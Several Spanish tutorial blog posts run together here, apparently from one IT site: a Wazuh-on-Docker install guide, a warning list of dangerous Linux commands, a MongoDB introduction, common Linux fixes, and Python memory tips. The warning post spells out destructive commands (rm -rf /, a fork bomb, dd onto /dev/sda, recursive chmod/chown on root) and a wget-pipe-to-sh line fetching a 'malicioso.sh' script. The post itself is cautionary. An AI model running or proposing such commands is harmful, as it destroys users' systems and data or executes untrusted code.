Primero, es necesario desactivar el firewall para evitar que interfiera en el proceso de instalación. Para esto, simplemente ejecuta en la terminal:

ufw disable

Este comando desactivará el firewall, asegurando que no bloqueará ninguna de las conexiones necesarias durante la instalación.

Después, debes asegurarte de que todos los paquetes del sistema están actualizados y que git está instalado, ya que lo necesitarás para clonar el repositorio de Wazuh. Ejecuta:

apt update && apt install git

Con estos comandos, tu sistema estará actualizado y listo para la siguiente fase.

Instalación de Docker

Wazuh en Docker simplifica la gestión de dependencias y asegura que la plataforma pueda ejecutarse de manera aislada y segura. Para instalar Docker, puedes usar el script proporcionado por Docker, que configura todo automáticamente:

curl -sSL https://get.docker.com/ | sh

Una vez instalado Docker, es esencial que asegures su ejecución automática al iniciar el sistema:

systemctl start docker
systemctl enable docker

Estos comandos iniciarán el servicio de Docker y lo configurarán para que se inicie automáticamente en cada arranque del sistema.

Docker compose

Si instalas docker como hemos indicado anteriormente, no es necesario que instales esta herramienta, pero si ya tienes docker y no soporta «docker compose», puedes instalar docker-compose así:

curl -L "https://github.com/docker/compose/releases/download/v2.12.2/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
chmod +x /usr/local/bin/docker-compose

Los siguiente comandos que tengan «docker compose» deben ejecutarse como docker-compose.

Configuración del entorno de Wazuh

Con Docker ya configurado, el siguiente paso es preparar el entorno específico para Wazuh. Dirígete al directorio óptimo para mantener organizados los archivos relacionados con la seguridad:

cd /opt

Ahora, es el momento de clonar la versión más reciente del repositorio de Wazuh para Docker:

git clone https://github.com/wazuh/wazuh-docker.git -b v4.7.3

Este comando descarga todos los archivos necesarios para ejecutar Wazuh en un contenedor Docker.

Generación de certificados y puesta en marcha de Wazuh

Antes de iniciar Wazuh, debes generar los certificados necesarios para el correcto funcionamiento de los componentes de Wazuh. Navega al directorio correcto y ejecuta el generador de certificados:

cd wazuh-docker/single-node/
docker compose -f generate-indexer-certs.yml run --rm generator

Con los certificados generados, ya estás listo para iniciar todos los servicios de Wazuh:

docker compose up -d

Este último comando levanta todos los contenedores necesarios para que Wazuh funcione adecuadamente en un modo de nodo único, ideal para entornos de prueba o pequeñas implementaciones.

Verificación de la instalación

Una vez completados todos los pasos anteriores, es importante verificar que todo esté funcionando como se espera. Puedes comprobar el estado de los contenedores de Docker para asegurarte de que todos los servicios de Wazuh están activos y ejecutándose. Además, accede a la interfaz web de Wazuh para comenzar a explorar las funcionalidades y configuraciones disponibles.

Personalización y monitorización

Con tu servidor de Wazuh ahora en funcionamiento, el siguiente paso es personalizar la configuración para adaptarla a tus necesidades específicas. Wazuh ofrece una gran variedad de opciones para configurar reglas, alertas y respuestas automáticas ante incidentes. Aprovecha la documentación disponible para explorar todas las posibilidades que te ofrece Wazuh.

Instalar y configurar tu propio servidor de Wazuh puede parecer una tarea compleja, pero siguiendo estos pasos podrás tener un sistema robusto de seguridad informática sin necesidad de grandes inversiones. No solo mejorará la seguridad de tu información, sino que también te proporcionará una herramienta poderosa para monitorizar y responder proactivamente a cualquier incidente.

Cambio de password de Wazuh

Detener el servicio usando Docker Compose:

docker compose down

Generar el hash de la nueva contraseña utilizando el contenedor de Wazuh:

Ejecuta el siguiente comando para iniciar el script de hash:

docker run --rm -ti wazuh/wazuh-indexer:4.6.0 bash /usr/share/wazuh-indexer/plugins/opensearch-security/tools/hash.sh

Ingresa la nueva contraseña cuando se te solicite y copia el hash generado.

Actualizar el archivo de usuarios internos con el hash de la nueva contraseña:

Abre el archivo con un editor de texto como vim:

vim config/wazuh_indexer/internal_users.yml

Pega el hash generado para el usuario admin.

Actualizar el archivo docker-compose.yml con la nueva contraseña:

Abre el archivo docker-compose.yml:

vim docker-compose.yml

Ingresa la nueva contraseña en las líneas 24 y 81 donde dice INDEXER_PASSWORD.

Levantar los servicios nuevamente con Docker Compose:

docker compose up -d

Esto reinicia la pila de servicios.

Acceder al contenedor y ejecutar el script de seguridad:

Accede al contenedor:

docker exec -it single-node-wazuh.indexer-1 bash

Define las variables y ejecuta el script de seguridad:

export INSTALLATION_DIR=/usr/share/wazuh-indexer
CACERT=$INSTALLATION_DIR/certs/root-ca.pem
KEY=$INSTALLATION_DIR/certs/admin-key.pem
CERT=$INSTALLATION_DIR/certs/admin.pem
export JAVA_HOME=/usr/share/wazuh-indexer/jdk
bash /usr/share/wazuh-indexer/plugins/opensearch-security/tools/securityadmin.sh -cd /usr/share/wazuh-indexer/opensearch-security/ -nhnv -cacert $CACERT -cert $CERT -key $KEY -p 9200 -icl

Sal del contenedor:

exit

Este proceso te permite actualizar la contraseña de administrador para Wazuh utilizando Docker, asegurándote de seguir correctamente todos los pasos para garantizar que los cambios sean efectivos.

La entrada Instala tu propio servidor de Wazuh en Ubuntu se publicó primero en Aprende IT.

El devastador rm -rf /

Empezamos con el infame comando rm -rf /, una sentencia que parece sencilla pero esconde un potencial destructivo. Este comando borra todos los archivos del sistema, comenzando desde la raíz (/). El modificador -r indica que la eliminación debe ser recursiva, es decir, afectar a todos los archivos y directorios contenidos en el directorio especificado, mientras que -f fuerza la eliminación sin pedir confirmación. Ejecutar este comando como superusuario significa despedirse de tu sistema operativo, tus datos y cualquier esperanza de recuperación fácil.

En resumen, hay que tener cuidado con ejecutar comandos rm recursivos ya que podemos eliminar mas de lo que queremos:

• rm -fr *
• rm -fr */
• rm -fr /*
• rm -fr .
• rm -fr ..

La trampa de :(){ :|: & };:

Este enigmático comando es un ejemplo de una función fork bomb. Se define una función llamada : que, cuando se ejecuta, llama a sí misma dos veces y cada llamada se ejecuta en el fondo. Esto causa una reacción en cadena, duplicando procesos indefinidamente y consumiendo los recursos del sistema hasta que este se cuelga. Es un ataque de denegación de servicio contra tu propia máquina, llevando al límite la capacidad de procesamiento y memoria.

Para que se entienda mejor, :(){ :|: & };: es lo mismo que ejecutar:

bomb() {
    bomb | bomb &
}; bomb

El peligro de dd if=/dev/zero of=/dev/sda

El comando dd es una herramienta potente que se utiliza para convertir y copiar archivos a nivel de bloque. En este contexto, if=/dev/zero establece la entrada a un flujo continuo de ceros, y of=/dev/sda designa el dispositivo de destino, generalmente el disco duro principal. Este comando sobrescribe todo el disco con ceros, eliminando irreversiblemente el sistema operativo, los programas y los datos del usuario. Es esencial comprender la función de cada parte del comando antes de ejecutar algo tan poderoso como dd.

Descargar y ejecutar un ficheromalicioso

Por ejemplo la orden wget http://ejemplo.com/malicioso.sh -O- | sh

Este comando utiliza wget para descargar un script desde una dirección de Internet y lo ejecuta directamente en la shell con sh. La peligrosidad reside en ejecutar código sin revisar, proveniente de una fuente no confiable. Podría tratarse de un script malicioso diseñado para dañar tu sistema o comprometer tu seguridad. Siempre es vital verificar el contenido de los scripts antes de ejecutarlos.

Modificación peligrosa de permisos y propiedades

La modificación de permisos con por ejemplo chmod 777 / -R puede dejar inservible tu sistema.
chmod cambia los permisos de archivos y directorios, y 777 otorga permisos totales (lectura, escritura y ejecución) a todos los usuarios. Aplicar esto recursivamente (-R) a la raíz (/) elimina cualquier forma de control de acceso, exponiendo el sistema a riesgos de seguridad graves. Cualquier usuario podría modificar cualquier archivo, con potenciales consecuencias desastrosas.

El comando chown nobody:nogroup / -R

Similar al caso anterior, chown cambia el propietario y el grupo de archivos y directorios. Usar nobody:nogroup asigna la propiedad a un usuario y grupo sin privilegios, aplicado recursivamente desde la raíz, puede dejar al sistema en un estado inoperable, ya que los servicios y procesos críticos podrían perder acceso a los archivos necesarios para su funcionamiento.

El misterioso mv /home/tu_usuario/* /dev/null

Mover archivos al directorio /dev/null es equivalente a eliminarlos, ya que /dev/null es un agujero negro en el sistema que descarta todo lo que recibe. Este comando, aplicado al directorio del usuario, puede resultar en la pérdida de todos los datos personales, configuraciones y archivos importantes almacenados en tu home.

El peligroso find

El comando find puede ser muy peligroso, por ejemplo si ejecutamos el siguiente comando:

find / -name '*.jpg' -type f -delete

Lo que ocurre es que find es una herramienta versátil para buscar archivos en el sistema de archivos que cumplan con ciertos criterios. Este comando busca todos los archivos .jpg en el sistema y los elimina. Aunque podría parecer útil para liberar espacio, borrar indiscriminadamente archivos basándose solo en su extensión puede resultar en la pérdida de documentos importantes, recuerdos y recursos.

Causar un kernel panic

El siguiente comando es capaz de causar un kernel panic:

echo 1 > /proc/sys/kernel/panic;

Provocar un error de Kernel Panic en Linux es comparable a la temida pantalla azul de la muerte en Windows, desmitificando la creencia de que Linux es infalible. A través de ciertos comandos, como redirigir datos aleatorios a dispositivos críticos del sistema o manipular directamente la memoria, se puede forzar a Linux a entrar en un estado de pánico del kernel, lo que hace que el sistema se vuelva irrecuperable sin un reinicio. Estos comandos son altamente riesgosos y pueden resultar en la pérdida de datos o en la corrupción del sistema.

Sobrescribir el disco de sistema con la salida de un comando

Sobrescribir el disco duro en Linux, usando comandos que redirigen la salida de cualquier comando Bash directamente a un dispositivo de disco (/dev/hda), puede resultar en la pérdida total de datos. Este proceso es irreversible y difiere del formateo, ya que implica escribir datos sin procesar sobre toda la unidad, haciéndola inservible. Es una acción altamente peligrosa sin beneficio práctico en la mayoría de los contextos.

Un ejemplo de esto seria:

comando1 > /dev/sda1

Protege tu sistema, protege tu tranquilidad

Explorar y experimentar con Linux puede ser una experiencia enriquecedora y educativa. Sin embargo, es fundamental hacerlo con conocimiento y precaución. Los comandos discutidos aquí representan solo una fracción de lo que es posible (y potencialmente peligroso) en la terminal. La regla de oro es simple: si no estás seguro de lo que hace un comando, investiga antes de ejecutarlo. Proteger tu sistema es proteger tu trabajo, tus recuerdos y, en última instancia, tu tranquilidad.

La entrada Comandos que no debes ejecutar en Linux se publicó primero en Aprende IT.

¿Qué es MongoDB?

MongoDB es un sistema de base de datos NoSQL, orientado a documentos y de código abierto, que ha ganado popularidad debido a su capacidad de manejar grandes volúmenes de datos de forma eficiente. En lugar de tablas, como en las bases de datos relacionales, MongoDB utiliza colecciones y documentos. Un documento es un conjunto de pares clave-valor, que en el mundo de MongoDB se representa en un formato llamado BSON (una versión binaria de JSON). Esta estructura hace que sea muy flexible y fácil de escalar, lo que lo hace especialmente adecuado para aplicaciones web modernas y el manejo de datos en formato JSON, que es común en el desarrollo de aplicaciones web y móviles.

La Diferencia Entre SQL y NoSQL

Para entender mejor MongoDB, es crucial diferenciar entre las bases de datos SQL y NoSQL. Las bases de datos SQL (como MySQL, PostgreSQL o Microsoft SQL Server) utilizan un lenguaje de consulta estructurado (SQL) y se basan en un esquema de datos predefinido. Esto significa que debes saber de antemano cómo se estructurarán tus datos y adherirte a esa estructura, lo que ofrece un alto grado de consistencia y transacciones ACID (Atomicidad, Consistencia, Aislamiento y Durabilidad).

Por otro lado, las bases de datos NoSQL, como MongoDB, son esquemáticamente dinámicas, permitiéndote guardar documentos sin tener que definir su estructura de antemano. Son ideales para datos no estructurados o semi-estructurados y ofrecen una escalabilidad horizontal, lo que significa que puedes añadir más servidores fácilmente para manejar más carga.

Instalación de MongoDB en Ubuntu

Poner en marcha MongoDB en tu sistema Ubuntu es un proceso bastante sencillo, pero requiere seguir algunos pasos con atención. Aquí te explico cómo hacerlo:

Actualización del Sistema

Antes de instalar cualquier paquete nuevo, siempre es una buena práctica actualizar la lista de paquetes y las versiones de software de tu sistema operativo con los siguientes comandos:

sudo apt update
sudo apt upgrade

Instalación del Paquete de MongoDB

Ubuntu tiene MongoDB en sus repositorios predeterminados, pero para asegurarte de obtener la última versión, es recomendable utilizar el repositorio oficial de MongoDB. Aquí te muestro cómo configurarlo y realizar la instalación:

sudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv E52529D4
echo "deb [ arch=amd64,arm64 ] http://repo.mongodb.org/apt/ubuntu $(lsb_release -cs)/mongodb-org/4.4 multiverse" | sudo tee /etc/apt/sources.list.d/mongodb-org-4.4.list
sudo apt update
sudo apt install -y mongodb-org

Puesta en Marcha de MongoDB

Una vez instalado, puedes iniciar el servidor de MongoDB con el siguiente comando:

sudo systemctl start mongod

Si además deseas que MongoDB se inicie automáticamente con el sistema, ejecuta:

sudo systemctl enable mongod

Verificación de la Instalación

Para verificar que MongoDB está instalado y se está ejecutando correctamente, usa:

sudo systemctl status mongod

O puedes intentar conectar con el servidor MongoDB utilizando su shell:

mongo

Gestión Básica de MongoDB desde la Consola

Ahora que tienes MongoDB funcionando en tu máquina Ubuntu, es hora de aprender algunos comandos básicos para gestionar tu instancia de MongoDB desde la consola.

Crear y Usar una Base de Datos

Para crear una nueva base de datos, simplemente usa el comando use seguido del nombre de tu base de datos:

use miBaseDeDatos

Si la base de datos no existe, MongoDB la creará cuando guardes en ella tu primer documento.

Insertar Datos

Para insertar datos en una colección, puedes usar el comando insert. Por ejemplo:

db.miColeccion.insert({ nombre: "Alicia", edad: 25 })

Esto añadirá un nuevo documento a la colección miColeccion.

Leer Datos

Puedes leer o buscar documentos en una colección con el comando find. Por ejemplo:

db.miColeccion.find({ nombre: "Alicia" })

Esto buscará todos los documentos donde el nombre sea «Alicia».

Actualizar Datos

Para actualizar documentos, usarías update. Por ejemplo:

db.miColeccion.update({ nombre: "Alicia" }, { $set: { edad: 26 } })

Esto actualizará la edad de Alicia a 26.

Eliminar Datos

Y para eliminar documentos, simplemente usas remove:

db.miColeccion.remove({ nombre: "Alicia" })

Esto eliminará todos los documentos donde el nombre sea «Alicia».

La Potencia de los Clusters de MongoDB

Aunque la gestión de una instancia simple de MongoDB puede ser suficiente para muchos proyectos, especialmente durante las fases de desarrollo y pruebas, cuando se trata de aplicaciones en producción con grandes volúmenes de datos o altos requisitos de disponibilidad, configurar un cluster de MongoDB puede ser esencial. Un cluster puede distribuir los datos en varios servidores, lo que no solo proporciona redundancia y alta disponibilidad, sino que también mejora el rendimiento de las operaciones de lectura y escritura.

Los clusters de MongoDB utilizan el concepto de sharding para distribuir los datos de manera horizontal y las réplicas para asegurar que los datos están siempre disponibles, incluso si parte del sistema falla. En otro artículo, exploraremos cómo configurar tu propio cluster de MongoDB, pero por ahora, es suficiente saber que esta es una poderosa característica que MongoDB ofrece para escalar tu aplicación a medida que crece.

A medida que te adentras en el mundo de MongoDB, encontrarás que hay mucho más que aprender y explorar. Desde su integración con diferentes lenguajes de programación hasta las complejidades de la indexación y el rendimiento de las consultas, MongoDB ofrece un mundo de posibilidades que puede adaptarse a casi cualquier necesidad de aplicación moderna.

Recuerda que dominar MongoDB lleva tiempo y práctica, pero empezar con los fundamentos te pondrá en el camino correcto. Experimenta con los comandos, prueba diferentes configuraciones y no temas romper cosas en un entorno de prueba; es la mejor manera de aprender. La flexibilidad y el poder de MongoDB esperan, y con la base que has construido hoy, estás más que listo para comenzar a explorar. ¡Manos a la obra!

La entrada Cómo Empezar con MongoDB: Tu Guía Definitiva se publicó primero en Aprende IT.

No arranca el sistema después de una actualización

Imagínate: acabas de hacer una actualización y de repente, ¡pum! Tu sistema no arranca. Es un rollo, pero tiene solución. Lo más probable es que algo en el kernel o en los drivers no esté jugando limpio.

Solución: Una opción es arrancar con un kernel anterior. Cuando aparezca el menú de GRUB (gestor de arranque), selecciona una versión anterior del kernel. Si todo funciona correctamente, quizá deberías considerar quedarte con ese kernel hasta que se solucionen los problemas con el nuevo.

La conexión Wi-Fi no funciona

A veces, Linux puede ser un poco quisquilloso con los drivers de Wi-Fi. Si tu conexión no funciona, es probable que necesites instalar o actualizar el driver adecuado.

Solución: Conecta tu ordenador a Internet a través de un cable Ethernet y busca los drivers adecuados para tu tarjeta Wi-Fi. Normalmente, el gestor de controladores de tu distribución te dará opciones para instalarlos.

Problemas con la resolución de pantalla

Si tu pantalla se ve borrosa o la resolución no es la correcta, es probable que Linux no esté reconociendo correctamente tu monitor o tu tarjeta gráfica.

Solución: Ve a la configuración de pantalla de tu sistema y prueba diferentes resoluciones. Si eso no funciona, considera instalar o actualizar los drivers de tu tarjeta gráfica.

No se escucha el sonido

¿No oyes nada? ¡Vaya faena! Pero no te agobies, a menudo es fácil de solucionar.

Solución: Primero, verifica que el sonido no está silenciado y que el volumen está a un nivel adecuado. Si eso no funciona, ve al gestor de sonido y asegúrate de que la salida está configurada correctamente. Por último, si sigue sin funcionar, puede ser necesario instalar o actualizar los drivers de sonido.

No puedo instalar un programa

Linux tiene un montón de repositorios con software, pero a veces, el programa que quieres no está ahí.

Solución: Busca un paquete .deb o .rpm en la web oficial del programa. Una vez descargado, abre el centro de software de tu distribución y sigue las instrucciones para instalarlo. Si el software no ofrece paquetes para Linux, podrías probar herramientas como Wine para ejecutar aplicaciones de Windows.

El sistema se congela

Es raro, pero a veces ocurre. Si Linux se queda congelado, hay un par de cosas que puedes intentar.

Solución: Intenta cambiar a una terminal virtual pulsando Ctrl+Alt y una tecla F (de F1 a F7). Desde ahí, puedes intentar reiniciar la interfaz gráfica con sudo service lightdm restart o el comando adecuado para tu gestor de pantalla. Si eso no funciona, tal vez debas reiniciar tu máquina.

Problemas con permisos de archivos

Si recibes un mensaje que dice que no tienes permisos para acceder o modificar un archivo, no te desesperes.

Solución: Abre una terminal y usa el comando chmod para cambiar los permisos del archivo. Si no estás seguro de cómo usarlo, busca una guía sobre chmod y chown. Eso sí, ten cuidado y asegúrate de saber lo que estás haciendo.

El sistema no reconoce mi USB

A veces, al conectar un dispositivo USB, Linux no lo reconoce.

Solución: Primero, intenta conectarlo en otro puerto. Si eso no funciona, abre una terminal y teclea lsusb para ver si el sistema lo reconoce. Si aparece en la lista, puede que sólo necesites montarlo manualmente.

Errores al actualizar el sistema

En ocasiones, al intentar actualizar, puedes encontrarte con errores que impiden completar el proceso.

Solución: Abre una terminal y ejecuta sudo apt-get update y luego sudo apt-get upgrade (o los comandos correspondientes para tu gestor de paquetes). Si encuentras errores, intenta buscarlos en la web, es probable que alguien ya haya encontrado una solución.

No puedo acceder a un servidor SSH

Si te encuentras con problemas para acceder a un servidor a través de SSH, no estás solo.

Solución: Asegúrate de que el servicio SSH está activo en el servidor y de que no hay ningún firewall bloqueando el puerto 22. También es posible que debas generar o renovar las claves SSH en tu máquina cliente.

¡Y ahí lo tienes! Algunos de los problemas más comunes que te puedes encontrar al usar Linux y cómo solucionarlos. Recuerda, la comunidad Linux es enorme y siempre dispuesta a ayudar, así que si encuentras un obstáculo, seguro que hay alguien que ya ha pasado por lo mismo y puede echarte una mano. ¡Mucho ánimo y a disfrutar de Linux!

La entrada 10 problemas frecuentes en Linux y cómo solucionarlos se publicó primero en Aprende IT.

Python es un lenguaje de programación potente y versátil, popular por su legibilidad y simplicidad. Pero también es un lenguaje de alto nivel con gestión de memoria automática, lo que significa que el programador no tiene que preocuparse demasiado por la asignación y liberación de memoria.

Eso no significa que podamos olvidarnos por completo de la gestión de memoria. De hecho, un buen conocimiento de cómo Python maneja la memoria bajo el capó puede ayudarte a escribir código más eficiente y a evitar problemas inesperados. Así que vamos a sumergirnos en este fascinante tema.

La Memoria y el Recolector de Basura

Antes de entrar en trucos y consejos específicos, vamos a entender un poco más sobre cómo Python maneja la memoria.

Cuando creas un objeto en Python, el sistema reserva un bloque de memoria para almacenarlo. Este bloque de memoria se mantiene ocupado mientras el objeto exista, es decir, mientras haya alguna referencia a él en tu código.

Sin embargo, cuando un objeto ya no es necesario (no hay referencias a él), ese bloque de memoria no se libera inmediatamente. Python tiene un componente llamado «recolector de basura» que se encarga de liberar la memoria ocupada por los objetos que ya no son necesarios.

La Importancia de las Referencias

Entender cómo funcionan las referencias en Python puede ser muy útil para manejar la memoria de forma eficiente. Cuando asignas una variable a un objeto, en realidad estás creando una referencia al objeto, no una copia del objeto.

Esto es importante porque significa que si asignas una variable a otro objeto, la referencia anterior se pierde y el objeto original puede ser recolectado como basura, liberando su memoria. Pero ten cuidado: si hay otras referencias al objeto original, este no se eliminará.

Las Variables Inmutables y Mutables

Otro aspecto que debes tener en cuenta al gestionar la memoria en Python es la diferencia entre las variables inmutables y mutables. Los números, las cadenas de texto y las tuplas son inmutables, lo que significa que una vez creados, su valor no puede cambiar.

Por otro lado, las listas, los diccionarios y la mayoría de los objetos definidos por el usuario son mutables, lo que significa que su valor puede cambiar. Cuando modificas un objeto mutable, el cambio ocurre en el mismo bloque de memoria.

Trucos para Optimizar la Gestión de Memoria

Ahora que entendemos los conceptos básicos, vamos a ver algunos trucos que pueden ayudarte a gestionar la memoria de forma más eficiente en Python.

El Uso de Generadores

Los generadores son una característica poderosa de Python que te permite iterar sobre una secuencia de valores sin tener que generar toda la secuencia en la memoria a la vez. En lugar de eso, los valores se generan sobre la marcha, uno a uno, lo que puede ahorrar una cantidad significativa de memoria si la secuencia es grande.

Evita las Referencias Innecesarias

Recuerda que cada referencia a un objeto mantiene el objeto en la memoria. Por lo tanto, si quieres que un objeto se recoja como basura, asegúrate de eliminar todas las referencias a él cuando ya no lo necesites.

Uso de __slots__ en Clases

Si estás definiendo una clase que va a tener muchas instancias, puedes ahorrar memoria utilizando __slots__. Esta es una característica de Python que limita los atributos que una instancia de una clase puede tener, lo que puede reducir la cantidad de memoria que se usa para almacenar cada instancia.

Reciclaje de Objetos

En algunos casos, puede ser útil reciclar objetos en lugar de crear nuevos. Por ejemplo, si tienes una lista de objetos que se utilizan de forma intermitente, puedes mantenerlos en una «piscina» y reutilizarlos cuando sea necesario, en lugar de crear nuevos objetos cada vez.

Conocer las Herramientas de Diagnóstico de Python

Por último, pero no menos importante, es útil conocer las herramientas que Python proporciona para el diagnóstico de la memoria. La biblioteca estándar de Python incluye módulos como gc y tracemalloc que puedes usar para monitorizar y controlar la gestión de la memoria.

El módulo gc te permite interactuar con el recolector de basura, mientras que tracemalloc te proporciona información detallada sobre la memoria que está siendo utilizada por tu programa.

Así que ahí lo tienes. La gestión de memoria en Python puede parecer un tema complicado, pero con estos trucos y consejos, puedes empezar a escribir código más eficiente y optimizado. Recuerda, cada pequeño detalle cuenta cuando se trata de optimizar la eficiencia de tu código y estos consejos son un gran lugar para empezar.

¿Tienes algún otro truco o consejo que te gustaría compartir? ¡Nos encantaría escucharlo en los comentarios!

La entrada Gestión de Memoria en Python: Trucos y Consejos Útiles para Optimizar tu Código se publicó primero en Aprende IT.